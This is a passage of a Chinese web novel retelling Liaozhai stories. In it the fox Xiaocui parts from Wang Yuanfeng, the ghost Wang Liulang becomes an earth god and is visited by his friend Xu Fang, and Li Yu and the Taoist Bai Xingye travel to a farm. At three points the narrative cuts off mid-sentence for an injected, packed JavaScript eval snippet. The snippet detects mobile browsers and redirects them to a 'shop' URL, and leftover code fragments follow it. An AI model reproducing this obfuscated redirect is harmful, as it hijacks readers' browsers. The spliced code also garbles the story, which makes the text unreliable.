未等王元丰再开口,小翠目光坚定道:“元丰,我是狐,我没有办法一直待在人间生活的。人间是很有趣,可我生于山野长于林间,早已习惯了自由自在的生活,更有着修炼成仙的夙愿。当初为了报恩嫁进你家,本就是为了守护王家五年,助王家度过难关,了却了这段因果。无论我是否提前离开,现在的我们都到了应当分离的时候。” 王元丰身形一晃,整个人如坠冰窟,“只是报恩吗?难道……你从不曾心悦于我?”他露出一个苦涩的笑容,“也对,当初我不过是个痴儿、谁都看不上的傻子,怎能奢求你的垂爱?就连如今我获明智,也是受你恩惠。” “你怎如此轻贱自己?”小翠急切道,面上不由露出悲伤的神色,“说实话在王府的那几年,同你一起无忧无虑玩闹的时光真的很快乐。你那时候虽傻,却处处维护我,一心一意对我……就算我是妖,却也并非无情之物,朝夕相伴怎会没有情意?” “那你为何一定要走?”王元丰握住小翠的手乞求道,“小翠,别走好吗?” 小翠深吸一口气,盯着王元丰的眼睛道:“元丰,我也喜欢你。” “可这一份喜欢抵不上我要的自由。” 闻言,方才双眼汇聚期望的王元丰,双手不自觉地松开了。 “当你们一家回到这里,我见你这般浑浑噩噩,心里实在愧疚难受,是我负了你的情意。”小翠眼角有泪滑落,“可我终究回报不起。” 一室寂静,过了许久,王元丰才说:“不,你回报得已经够多了。” 小翠看得心疼,却深知这一次她不得不狠下心来,“有人说,我欠你一个正式的道别,今次我找到你就是想说……元丰,忘了我吧。” “去过你自己的生活,青山路远,莫再相寻。” 屋外,李钰踱着步转来转去,白行野笑道:“行了,不知道的还以为是你要和王元丰说狠话呢。” 李钰停下脚步,看了一眼紧闭的房门,轻声对白行野道:“我这不是怕王元丰受不了吗?” 白行野说:“这就受不了了,你们说的人有悲欢离合,月有阴晴圆缺,不是人人都会经历的寻常事吗?哪有这么脆弱?” “所以说你不懂爱情啊,有的人就是为了爱要死要活的,不还有那殉情之人吗?”李钰反驳他。 白行野不认可道:“这也太傻了。” 你个道士懂什么?李钰摇着扇子说:“所以这凡尘俗世中,你要见识的还多呢!” 白行野轻笑一声,“好吧,就当你说的有理。” 经过这么一番插科打诨,李钰的心情也稍稍放松了些许,还要与白行野再辩时,门开了,王元丰从屋里走了出来,李钰立刻噤声。 这时,房内传来小翠的声音,“元丰。” 王元丰驻足,却并未回头。 只听小翠温言嘱咐道:“元丰,你要好好吃饭。” 王元丰久久未答,终不忍心道:“好,珍重。” 话落,他抬头看向亮得刺眼的天光,刺得人泪流不止。他抬袖在脸上狠狠一擦,抬脚走了。 路过李钰时,李钰担心地问:“元丰兄你……” 王元丰却拱手向他行了一礼,止住了李钰想要开口的安慰。 “多谢李公子费心,在下先告辞了。”不等李钰再多说什么,径直转身往山下走去。 李钰迈开步子追了两步就停了下来,望着王元丰下山的背影,比起当日从李家离开的情形,这次他步履从容、身形稳健,只是蜿蜒的山路之上,唯他一人独行。 小翠也走了出来,目光遥遥落在王元丰身上。 李钰问道:“你没事吧?” 小翠目光定定地看着越来越远的身影,樱唇轻启,却没答自己,而是说:“没事,他只是,去过他自己的人生了。” 李钰和白行野闻言皆是一怔,两人相视一眼,再度望向远去的王元丰,他的身影已经隐没在影影绰绰的梅林间。 小翠和元丰的道别比想象中更加平和地结束了,却让旁观的二人看得心中各有滋味。送走了小翠,白行野终于说出心中不解。 “既然彼此如此不舍,何必一定要分开?” 对于妖族而言,小翠即便陪王元丰过完这一生,也不算什么难事。 李钰想了想道:“因为再如何喜欢,山间风月下林才是小翠姑娘追求的,如何是一方宅院能困住?” 白行野不语,垂下眼眸,似有所悟。 回到家后,躺在床上的李钰,感觉自己快要累死了,倒不是爬山有多累,只是这两日天天操心小翠和元丰,如今可算放下了,疲惫感反扑而来。 “好在是解决了。”他闭着眼睛,喃喃自语。 夜已经深了,放下心来的李钰这晚很快就进入了梦乡。可今日的梦境却有些奇怪,梦里白茫茫一片,如同行走在大雾之中。李钰于其中穿行片刻,前方总算有不同的景象,一簇红光遥遥跳跃,他顺着红光的方向寻了过去。 走到近处才发现原是个火堆,在火堆旁边坐着一个青年,竟是王六郎! “六郎,你怎么在这儿?”李钰赶忙走过去。 王六郎笑着请他坐下,就如同之前四人河边相聚时一样。 李钰坐在石墩上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101344|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着火光将王六郎的脸照的分明,那是一张很年轻的脸。他忽然想到,与其说六郎是青年不如说还是个少年吧,当初他去世的时候,恐怕比现在的李钰还小,而如今他做鬼都做了六十年了。李钰隐隐觉得,六郎这次大概是要说些重要的事。 果然两人简单地寒暄了两句,王六郎便直奔主题,“我本想着等你来河边时再告诉你这件事,可没想到世事变化无常,如今我离开之时将近,不得不托梦前来道别。” “你要走?”李钰惊道,又想起六郎之前说过的那些替身的事,迟疑地开口,“是找到替身了吗?” 王六郎点点头又摇摇头:“是也不是,前两天代替我的人确实来了,不过我放弃了。” 李钰没想到六郎今晚说的话一句比一句让他惊诧,他担心地问:“那你怎么办?你说你要离开难道是……”他不敢往下说,没有替身相替,不能重入轮回,说是道别不会是诀别吧? 王六郎一看他就想歪了,连忙安抚地笑道:“不是不是,你别瞎猜。” “是前日一个抱孩子的妇人路过河边,为了捡孩子手中掉落的布偶,便将孩子放在岸边的草丛间,自己捡起了沾了泥污的布偶,走到河边想要洗洗,却一个不慎摔进了河里。”王六郎回想当日情形,继续道,“我已经拽住了那妇人的脚,本应该将她拖下去的。可是那个岸上的孩子,小小一团缩在草丛里,哭声却震天响,听得我的心,我的灵魂都在震颤……” 李钰不敢打断,他可以想象那样的场景,是多么的不忍又煎熬。 王六郎眼神放空,仿佛又体会到那时的感受,“为了我一个孤魂野鬼,要让另一个活生生的人来替代,要让一个襁褓之中的孩子失去母亲,这与害了两条性命有何区别?最终我将那妇人推回了岸边,她上岸后也不顾浑身湿透的自己,冲到草丛边抱起孩子温声安抚,明明她自己脸上还惊魂未定地淌着泪……” “等孩子安静下来,她便抱着孩子走了。李兄,你知道吗?我当时竟只觉得安心。” 李钰看着王六郎澄澈的双眼,点头道:“我明白。” 王六郎声音温和,如他这个人一般,他道:“其实我们初见那日,提到了抓交替的事。李兄你是个好人,那时我便看出,你对此事有所不满。” 李钰想了一下,隐约记得当时的他既希望六郎能早日脱离苦海,又很是不解,为何会有这样的天道轮回,需得一命去换一命?与其说不满,不如说是对这不公规则的无可奈何。没想王六郎居然如此观察入微,连他当时那般细微的反应都能注意到。 他忙解释道:“六郎别误会,我不是那个意思。” 王六郎打断了他,“我也明白你的想法,其实我也时常在想,我在这滚滚河水中洗干净了业障,难道还不能就此去投胎吗?为何天道非要让人代替我,我才能结束这束缚?或许那些人落水同我一样本是他们的命运,可我的解脱为何只能由他人拯救?” “可当我将那名妇人推上岸以后,我想明白了。天道法则的个中奥秘,我既堪不破就不去想了,我只要知道什么事该做,什么事情不该做就好,心安之处即是我之归属,何必执着旁的?” 李钰闻言一怔,心中百感交集,忽又想起了什么,急切问道:“可你说是来道别,难道不是能离开去投胎吗?” “非也。” 仅两个字就让李钰的心又提到了嗓子眼。 21. 土地神 “哈哈哈哈哈……”王六郎见李钰紧张的模样却爽朗地笑了出来,“既已放弃用他人之命相替,如何去往轮回?我本已打算就如此过下去,哪怕某天消弭于人间,也曾有你们相伴过。却不曾想我的一时不忍竟有幸上达天听,得了玉帝赏识,现任命我去衢州府邬镇做个土地。虽以后轻易不得离开当地,可总算从冰冷河水中解脱,还能造福一方百姓,受香火供奉。因任命来得急,我这才连夜托梦告知你此事。” “真的?!”李钰惊喜万分地拉着王六郎站了起来,“太好了,六郎!果然是好人有好报,这个世界没让我失望!” 说完李钰还兴奋地抱着六郎原地跳了两圈表示庆贺,古人表达情感都比较含蓄,王六郎虽惊讶于李钰的举动,但也露出了开心的笑容。他知道朋友是真心为他高兴,于是轻轻回抱了李钰一下,再拍拍他的背让他放开。 李钰由衷道:“六郎,恭喜你啊!以后你可是我的神仙朋友了,我居然有朋友是神仙,好奇妙的感觉!” “好了好了,梦里可别太激动,伤心神。”王六郎都被说得有些不好意思了。 “不伤不伤,这都是开心的事,伤什么心神?” 王六郎无奈地笑道:“只可惜以后大家难再相聚了,我入不了白道长的梦,只能请你代为转达道别之意了。” “没问题,行野一定也会为你开心的。” “嗯,我生前结识之人大多是些酒肉朋友,没想到死后却能结交到许大哥、白道长还有你这样真心相待的友人。即便我未能得了如今的前程,有你们这些朋友亦知足了。”王六郎真心说道。 李钰听了这番剖白,简直都要感动落泪了,又想起自己这些天忙这忙那,好久都没有去见六郎,心生愧疚,“我若是前些日子多来看看你就好了,如今你就要走了,我真舍不得。” “这就是我想对你说的另一件事。” 李钰忙道:“你说,只要我能办到的,我都会做到!” “到了邬镇恐怕很难再离开所属地界,如果你们有机会请一定来见见我,我会很想念大家的。” “好啊,明日我就叫上许大哥和白行野一起往衢州府去!”李钰一口答应。 王六郎笑了,“好,那一言为定。” “一言为定!” 白雾散去,眼前又恢复了夜晚应有的黑暗,李钰颤动的眼皮缓缓睁开,一滴眼泪滑过太阳穴没入发间。 “怎么哭了?” 如今的李钰对房间里面突然出现熟悉的声音已经毫不意外了,只是这一次怎么是白行野? “你怎么进我房里来了?” 白行野坐在床沿上,不答反问:“是六郎来了?” 李钰边擦眼睛边说:“你怎么知道的?难怪六郎说进不去你的梦了,原来你根本都没睡。” “是啊,不过我感应到他来了你这里,就过来看看。” “你跟小贵儿一样,真的是一点都不客气,随随便便进我房间。”李钰假意抱怨道。 白行野笑道:“你进我房间不也是这样吗?况且如果我敲门将你吵醒,那六郎还怎么给你托梦?” 李钰一想也是,便坐了起来,也不点灯,就着窗外朦胧的月光,跟白行野说起王六郎被招做土地的经历。 “善有善报,当初因为许方每晚祭河的一杯酒,六郎便感念于心,与他为友更助其生计。他这样的人,能做出这样的选择也不奇怪。”白行野脸上也露出一丝欣慰,又言,“就是太爱酒了一点。” “趁人家不在还调侃人家,白道长你如今越发的心眼坏了。”李钰笑他。 白行野挑挑眉,“我以为你会说,我这个样子才算有点人情味呢?” “倒也是,那我们明日就去找许大哥吧,和他一起去邬镇看看六郎。土地神做我的朋友,我如今也是出息了。”李钰美滋滋地说着。 “又不是你做土地,你得意什么?” “你看我做这么久的生意,你还不懂什么叫人脉吗?人脉的强大从侧面也能说明我的实力。”李钰言之凿凿。 “好的,李大少爷你说的这些我确实不懂,趁着离天亮还有一阵,你快睡吧,明天咱们一起去找许方。” “好好好,你也别熬夜了,真是仗着自己年轻不把身体当回事。” 白行野学着李钰平时的模样,耸了耸肩表示无所谓,转身走出了房间。 到了第二天,令李钰始料未及的是,李化和木若菱坚决不同意他出远门。左一句“父母在不远游”,右一句“行船走马三分险”…… 即便李钰搬出了白行野会时刻相陪,也未能撼动二老分毫,木大娘子语重心长地说:“白道长即便捉妖捉鬼上很有一套,可若是遇上那心肠带毒之人,骗取些钱财也就罢了,但要是杀人越货的匪徒,你让爹娘下半辈子可怎么活?” 李钰又没办法说明实情,一个詹贵儿也就算了,要是知道自己还有什么水鬼朋友,这水鬼朋友还当了土地公,恐怕二老是要觉得傻儿子如今是改患癔症了。 双方僵持了好久,李老爷提出最后的妥协之策,“反正要秋收了,你若想出去玩,那便同我一起去乡下庄子上,正好可以多学学东西。” 李钰简直两眼一黑,他又不是为了出去玩的!没能说服二老不说,反倒又给自己揽了新活儿,于是垂头丧气地回了自己院子。 白行野也不知是千里眼还是顺风耳?看着李钰这副失望的模样,毫不意外,安慰他道,“实在不行便让许方带封书信去解释一下,往后等你成熟些,父母安心了,再去见六郎。” 也罢,眼下只能如此了。 “那我现在就去写信,许大哥和六郎感情深厚,定会去看他,得赶在许大哥走之前把信带给他。” 大概是因为挫败感太强,李钰的这封信写得行云流水,情真意切,将自己暂时还不能去见六郎的原因和无奈之情表达得淋漓尽致。放下笔后,李钰急切地将信纸吹干装进信封,就要和白行野一起去找许方。 此时的许家,张氏正一边帮许方收拾行装,一边念叨着:“这山长路远的,也不知衢州府到底有没有那个邬镇?就算你找到那边去了,六郎也真做了土地神,难不成你还能和泥偶相谈吗?” 这两句话张氏从昨晚说到今天,她也并非不感念王六郎对许家的帮助,可依然担心丈夫此行安危。一路上无人照应不说,这又是四五百里的路,家里的生计耽误一时事小,这一路面临的凶险才是事大。 许方也知妻子的担忧,恳切道:“且不说我已答应赴约,我自己何尝不担心六郎?实要亲眼看他真当了土地神才能安心啊。六郎对我们家的帮助我无以为报,只有这点小事是我作为朋友仅能做到的了。” 知他主意已定,张氏叹气,不再言语。 “许大哥,你在家吗?”李钰的呼声随着门扉被叩响一同传来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101345|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许方立刻起身开门,“李钰兄弟来了?白兄弟也在呀,敝舍简陋,不要嫌弃,快请进。” 李钰一进来就看到打包好的行囊,松了口气道:“幸好你还没走,我就知道你肯定急着要赶去见六郎。” “你们也都知道啦?” “是啊,昨晚六郎给我托梦,将事情的经过都告诉我了。本来我和行野想今天一早就来找你,与你同去,可家里长辈实在不允,我又不忍跟二老对着干,只盼之后能说服他们再去。”李钰解释道。 “我带了信来,还望许大哥替我转交给六郎,请他不要见怪。” 李钰拿出信交给许方,许方郑重地接过,把信揣进了怀里才道:“一定带到,只可惜天庭的诏令来得突然,不然我们几人真该最后再聚一次。” “无妨,只要六郎如今能有好前程就行。对了许大哥,这袋银子你也拿着。”李钰又掏出一个精美荷包递过去。 “这、这如何使得?”许方推拒道,“我不能要你的钱。” “不过是些碎银,这衢州府与我们这儿还是隔着好几个其他府,一路山高水长的,到了那边还要找邬镇的位置,这些银子权作应急备用。”李钰苦心劝道,“就算路上用不到,你到了邬镇帮我给六郎备一些香烛纸钱,尽尽我和行野的心意也好。” 许方依旧推拒,“不行不行,香烛纸钱我顺带给你们备了就行,不必再多给银钱。” 李钰这就有些急了:“许大哥,都说穷家富路,我们不能去已是愧疚,但你总得让我们和嫂子安心等你归来呀,你就别再推辞了。” “这……”李钰都说到这份上了,许方只能收下,“好吧,若这一路没用上,我回来就还你。” 李钰无奈答应。 张氏见状,上前将钱袋拿过去,说道:“多谢李少爷这番心意,只是这荷包一看就太精贵,还需我给换一换,所谓财不外露,我定让老许收好。” “还是嫂子细心。” 等一切收拾妥当,许方就要趁着天色尚早上路了,李钰本还想给他雇个马车,许方坚持牵着他那头毛驴上路了。 张氏担心地目送他离去,他们两口子膝下也无子,丈夫独自远行她哪能安得下心来? 白行野适时安慰道:“放心,我在他身上打了一道符咒,能驱邪避祸、护他平安,这一路不会有事的。” 李钰惊讶道:“什么时候做的?干嘛这么偷偷摸摸的?” “我不告诉他,是让他一路还是能够保持警惕;告诉你们,则是免了你们的担忧。”白行野不紧不慢地解释。 张氏一听就要鞠躬道谢,被白行野阻止了,“都是朋友该做的,嫂子不必如此。” 可张氏抹了抹眼角泪光,依旧是好一番感谢,这场面白行野就不太能应付了,李钰忙接过话安慰了张氏两句,又让她若有困难就到李家说一声,这才和白行野一道告辞了。 常州府到衢州府相距约五百里,行路中途也要吃饭歇脚,晚上还得找地方投宿,加上许方并不熟悉路线,一路走一路问,还是花费了快十天才找到邬镇。 邬镇不大,与其说是镇子更像是较大一点的村落。他先寻了一处旅店落脚,刚填饱了肚子,便向店主打听道:“请问店家,你们这地的土地祠在何处啊?” 那店主闻言,却是将他上下打量了一番,脸上还带上一丝惊喜,不答反问道:“敢问客官可是姓许?” 22. 挚友 许方思量着眼前的店家莫不是什么旧相识?细细看了看,确实不认识,惊疑不定地答道:“鄙人是姓许,店家如何得知?” 店家却又问:“您可是从常州府来的?” 许方更觉奇怪了,但还是老实道:“确实如此,可你到底是如何知道的?” 店家却没回他,而是笑开了花,激动地转身去了门外吆喝人。没一会儿,旅店里里外外就围了一大圈人,男男女女、老老少少的都有,挤不进去旅店的,就在门口伸着脖子看许方。 许方这回可真是吓到了,忙问店家,“这到底是怎么回事?” 店家满脸堆笑,这才解释了起来,“前几日镇上好些人都得了土地爷托梦,说他有一来自常州府的许姓友人,正在往邬镇赶,是来见他的,吩咐我们好好招待你。土地爷还说自己上任后会竭力庇佑我等,因此镇上的大家伙们都已恭候您多时了。” 许方这下明白了,心中颇为感动。 知道了缘由,店家和镇民们领路带他来到了土地祠,这个土地祠并不算大,甚至看得出一些地方还有些破败,不过打扫得很干净,上面装饰的红绸一看就是新的。想必是六郎托梦以后,众人知道新土地神驾到,只还没来得及修缮土地祠,便临时打扫了一下。 许方看着祠中的泥塑神像,想起自家娘子的话,不由有些失笑。还有六郎明明是个少年郎,这泥塑却是一个老头,实在不匹配。 收起旁的想法,许方恭敬地跪了下来,向着神像默默念叨:自从你我二人分别以来,我日夜思念小友,马不停蹄赶来赴约。未曾想蒙你告知镇上人厚待于我,往日恩情,今日心意,兄无以为报。只可惜我未曾备下厚礼,倒是李兄弟他们备好了香烛纸钱的资费,让我也能沾点光,还望六郎你不要见怪。 许方郑重地点燃香烛,奉上香火,又在神像前的铜盆中点燃了纸钱,将李钰的信也一并烧了过去,边烧边说:“李兄弟家里管的严,他年龄又小,家人实在不放心让他出远门。但他和白道长都很为你开心,还都来送了我,今后有机会他们一定也会来见你的,这一次就请你谅解他们吧。” 做好这一系列事以后,他便坐到神像前的蒲团上,取出了熟悉的酒葫芦。 许方倒上两杯酒,举杯对着神像道:“六郎,我只有这浊酒为礼,让我们像当初一样对饮一番。”他将其中一杯酒撒在地上,自己又干了一杯,一人一像相对而坐,真如之前两人相聚的每个夜晚。 周围的人看了许久,见许方久久坐在神像前,一边小声念叨着什么,一边与神像你一杯我一杯地喝着酒,有人见并没发生什么奇事扭头就回去了,还有的人依旧好奇地继续围在门口看。 一壶酒将见底,许方再次举杯说:“喝完这一杯,我就要回去了,只可惜不能见你一面。” 话罢,一阵徐徐清风吹来,竟似是祠中自起之风,清风打着圈在许方周身围绕,久久不散。 许方睁大了眼睛,抬手感受着清风自指缝间溜走,他又望向土地神像好一会儿,泥偶塑像如何看得出六郎的影子?心中一时不知是何滋味,终是没有忍住落下泪来。 周围见此情景之人无不称奇,等许方出来后,对待他也更加的客气了,方才的店家硬将他拉回旅店,好好招待了一番。 入夜,许方正酣睡,梦中异象生,白光中有一人前来,不出所料正是王六郎。 六郎如今衣冠楚楚,穿着和人间的官服类似的宽袍大袖,和往日所见的书生模样比大不一样。 不待许方开口,王六郎便激动上前,执手抱歉道:“大哥,有劳你远道而来,我却没想到做了土地后,原来不能轻易与凡人相见,只能等到了晚上才好托梦于你。” “无妨,你职务在身,我就是来看看你好不好,便心满意足了。”许方心想他猜的果然没错,白日未曾相见是这个原因。 王六郎伸手一挥,一个小几两个蒲团便出现在眼前,小几上还有酒壶酒盏,数碟小菜。王六郎盛情邀他坐下,道:“曾经都是你请我吃酒,如今也让我请你一次。” 许方大笑坐下,六郎还是那个王六郎,即便是做了神仙也还是如从前一样。两人推杯换盏间,许方又将李钰和白行野暂时来不了的事说了一遍。 王六郎却不见失望,豁达道:“抱着期盼的等待也是不错,今日你来,往后还有友人会来,我这日子也挺有盼头。” 两人相视一笑,一如往昔,自是一夜畅快痛饮,互诉衷肠。 接下来的几日,镇上的人热情挽留许方,轮流做东,日日请他去吃饭,许方拗不过大家,一一应邀。到了夜晚,王六郎也常入梦中来看望他。 呆了几日后,许方都不好意思再留,执意告辞要走。镇上的人带了不少土产来,不由分说地就挂到他的毛驴身上,小毛驴腰都弯了,委屈得直叫唤。 镇上的长辈们说:“我们也是听土地老爷的话,备下这一点心意,许大哥务必收下。” “这如何是好?”许大哥已受了好几天的招待,如今要走还连吃带拿,他实在做不出来。 “您放心,如今的土地爷可灵了,也承诺我们要守护一方安宁。这都是我们愿意的,而且不过是些土产,不值什么钱的,望你不要嫌弃才是。”镇上的人如此说道。 许方便不好再推辞,却以行路不便为由,只留下两三样,其他的都还了回去。众人又将送他送出镇,许方对大家深深地鞠了一躬,向这些群朴实的镇民们道谢。 起身后,他遥望土地祠的方向,与六郎道别。此时一阵风忽起,在他的身边打着旋,许方知道,这是六郎来送他了。 “我走了六郎,你回吧。若有机会大哥一定还来相见。”许方说完,牵着驴一步一回头地走了,直至上了官道,那护送似的清风才消失不见。 而就在许方回程路上,李钰和白行野跟随李化,也在下乡回庄子的路上了。 李钰第一次坐这么久的马车,古时候的土路坑坑洼洼的,颠簸极了,实在不好走,走一段他就颠得屁股生疼,叫停马车要歇一歇。 李化又心疼又嫌弃地教训道:“就你这样还想出远门呢?回个乡都难。”说是这么说,又是亲自给儿子喂水,又是给擦汗的。 白行野摇摇头,“这样下去实在不是办法。” 他伸出手在李钰额前一拍,李钰忽然就头不昏眼不花,顿觉灵台清明了。白行野又一挥手,李钰整个人在车轿里居然悬浮了起来,还能随车而动,将李化老爷子看得目瞪口呆。 李钰没了不适感,嘴巴又开始活跃了,“没想到啊白行野,你还会悬空术!” “你小声点,小心吓着别人。”李化提醒道。 “好好好。”李钰在半空中扭扭身子,好像坐在云端一样,没有一点不舒服,甚至还可以半躺下来。 李化斥责他:“坐没坐相,白道长免你受这个苦,你也别太无礼啊。” 说完儿子,又对白行野夸赞道:“多谢白道长,年轻有为、天赋异禀,实乃高人也!都是我这小儿不争气,给你添麻烦了。” 白行野客气道:“小事,伯父不必在意。” 李钰却自顾自美滋滋地偷偷转动着身躯,感受悬空的奇妙,整个人轻飘飘的,就像没了地心引力一样。 如此这般,行程才变得顺利起来,不用走走停停,倒也在天黑前赶到了庄子上。 李钰听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101346|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快到了,便让白行野把他放下来,掀开帘子想看外面的乡野景色。 结果一掀开帘子就直面了一处坟山,稀稀拉拉地立着些墓碑和小坟包。 “哎呀,你这个时候掀什么帘子,放下放下!”李化阻拦道,李钰也听话放下,李化却忽地扯住帘子往外瞧,还“咦”了一声。 “怎么了,爹?”李钰问。 李化放下车帘,“哦哦,没什么,就是看到以前庄上一个人的坟。” “什么人啊?” “那个人叫王茂才,以前可是庄上的名人呢。” 李钰来了兴趣,“怎么说?他是干嘛的?” “他能是干嘛的,就是我们庄上的一个农户。王茂才也可怜,家里就剩他一个人,还好是个男人,卖些力气种种田,还是能养活自己的。”李化话锋一转,“可这人啊,他奇就奇在有常人遇不到的奇遇,乡下人在田里捡些虫蛙黄鳝都是常事,但他却不同,他在田里捡到了龙!” 此话一出,李钰睁大了眼睛,不可置信地问:“龙?真的有龙?爹,你不会瞎说的吧?龙怎么会在田里出现?还被人捡到,那得多小!别是把什么小蛇、黄鳝一类认错吧。” 面对儿子一连串的质疑,李化又瞪了他一眼,“怎么会?你爹我就算不认识龙,还能不认识蛇和黄鳝?” “那可是条能化人形的小白龙!可王茂才捡到他的时候,他就是一个小男孩的模样,哪里知道是化形的龙?以为是哪家小孩被遗弃了,就捡回去把他当儿子养。长的那是一个的玉雪可爱,就是跟你小时候比也不遑多让。” 李钰受不了他爹无时无刻的夸奖了,只催他快接着说。 “结果养了没多久,庄子上路过一个高僧,那是真高僧啊,面相极是仁慈,跟那独眼妖和尚可不一样。”李化强调道,“高僧说那捡来的孩子不是人,而是一条龙!还是什么山还是池的逃出来的小龙……” 李钰没听明白,“哪里逃出来?” 李化摆摆手,“过去这么多年了,我也不记得了。王茂才和乡亲们都不信呢,结果就见高僧掏出一个金钵,里面装着清水,冲那小孩念了句什么,就将那小孩收进去了。大家伙都围过去看,金钵之内一条小小的白龙游来游去,身上的鳞片闪着银光直发亮,可漂亮了!” 李钰听得入神,“真的假的?” “你爹我拿这种事情骗你干嘛,何况当时你也在呀!那会儿正是秋收,我将你一块儿带过来玩,那小龙之前大家都以为他是孩子的时候,你还跟他玩过呢。”李化心有余悸道,“还好那龙不吃人,你那时候小,肯定肉嫩。” “咳咳咳……”白行野正喝水,被李老爷这番发散之言惊得呛到,李钰自然地伸手帮他拍拍背。 李化接着说:“不过要不说都是神龙呢?心善着呢,那会儿其他农户的孩子都不和你玩,就他看着不爱说话,倒还跟你一起玩过几次。” 李钰无言以对,那会儿跟他玩的是李珠儿啊!李珠儿居然还有个发小是龙,真是羡慕他。毕竟龙在所有国人心里面,都有着非同一般的意义。 “那后来呢?那高僧把它带走了吗?会罚他吗?”李钰连声发问。 白行野却道:“到了,先下去吧。” 李化一看,果然到庄院门口了,便掀帘下车了。庄头和仆从们早早候在门口,见到老爷都迎了上来。李钰也只得先下车,回头再好好问问爹吧。 几个庄头迎上来,李化敷衍地跟他们打招呼,心中却还在想方才所见。那王茂才往年的坟都是杂草丛生的,有时候还是他回来的时候看到了,让人帮忙给收拾一下,今年看着倒是干净整洁,像是有人费心打理过的,这可就奇怪了。 23. 田间地头 庄子上来接的人还不少,除了庄头和自家的雇农,乡里有头有脸的长者也来迎接李化父子,晚上直接在庄院中办了流水宴。 流水宴的菜色调味虽一般,但胜在都是新鲜宰杀的肉和现采的蔬菜,吃着格外鲜美。李钰和白行野都吃了不少,就是席间乡亲们老看他,多半都是知道了李家傻儿子恢复正常了的事,弄得李钰有点不自在。 赶路了一天,李化心疼儿子,见他们吃完饭,也不管礼仪规矩,就让李钰和白行野都早点去睡,也正合了二人心意,吃饱喝足正好眠。 翌日,李钰起了个大早,懂事地早早来给老爹请安。结果李化打着让李钰过来跟着学收账的招牌,实际上就介绍了几个庄头、几个帐房,也就不管他,让他跟白行野自己玩去。 李钰乐得自在,屁颠屁颠地又去找白行野,邀他一起去田间逛逛。两人悠闲地在田埂上踱着步,不知是秋高气爽的时节太好,还是举目望去的金色稻田景色怡人,上辈子也在城里居住的李钰,看着这乡间景致,内心没来由的雀跃。 地里早有不少农人,都说秋收忙,不只是男人,家里的女人、尚还康健的老人、包括半大的孩子,全都热火朝天地忙着收割沉甸甸的稻子,田埂上摞着一捆捆的谷草,堆成高高的谷堆。 李钰忽然想到李化昨日所说的田里捡到小龙人的事,又来了兴趣,“行野,你们以前在山里修道的时候,见没见过龙啊?” “见过。”白行野回答得很干脆。 “真的有啊!”李钰惊讶,在古代龙是什么常见动物吗?怎么都见过!他兴致勃勃问道,“怎么样,是不是特别威风?它们真的长着鹿角、兔眼、牛耳吗?什么颜色的?你见到的是水里游的还是在天上飞的?” 白行野听着这一连串的提问,无奈道:“其实龙也没什么特别的,你说的那些特征与其他兽类是有相似处,但也并不完全一样。” 见李钰一脸认真地听着,白行野耐心道:“龙虽天生比起其他妖物高出一级,生来就有灵智,资质好的生来可化人形的也是有的。不需像其他动物那样,从开灵智到化形不知得修炼多少年?但其实后续也就大同小异了,也是要通过悟道修行、积累功德才可修得正果,登上仙位的。” 李钰想了想,“这么说起来,跟人修炼成仙也差不多了,人也天生有灵智,人形就更不用说了。” “确实如此,只是不一样的是龙有神兽血脉,天生就更容易与天地产生感应,有呼风唤雨、飞天潜渊之能,妖力也比起一般小妖更为纯粹强大。” 李钰听得入迷,脑中闪过以前看过的各种神话小说中对龙的描写,眼中闪着向往的光芒。 白行野看李钰这副心向往之的表情,微微勾起唇角,“你喜欢龙?” “当然,那可是龙!在我看来和神仙也没什么分别了。”李钰理所当然道。 “那还是不算。”白行野摇头道,“除了龙王那样身居仙位的神龙,其他的龙再如何厉害,也只能算作妖,不然为什么连龙也想要修炼成仙?” “这样啊,那鱼不是更惨。”李钰又开始发散了,“都道‘鲤鱼跃龙门’,鲤鱼好不容易化龙了才知道,原来龙还是妖,还要继续修炼才能成仙,岂不太费劲?” 白行野闻言一愣,转而开怀大笑,好一会儿才停下道:“这,我确实从未设想过。” 他这么说着,脸上还挂着未尽的笑意,李钰看着白行野露出平日极少见到的灿烂笑容,一时觉得心痒痒的,忍不住说:“行野,有没有人说过,你笑起来特别好看?” 白行野已经习惯了与他这样思维跳跃的对话了,坦然道:“现在有了。” 李钰莫名有些脸热,立刻嘿嘿一笑想要打破这突如其来的怪异感,问道:“那我呢?” 他狡黠地眨眨眼,白行野立刻会意,回道:“你当然很好看。” “那是。”李钰被夸得心花怒放。 两人边走边聊,从田埂上走到乡路上,路边有一处建筑,看起来像是座小庙。 “那里面供奉的什么?我们去看看吧。” 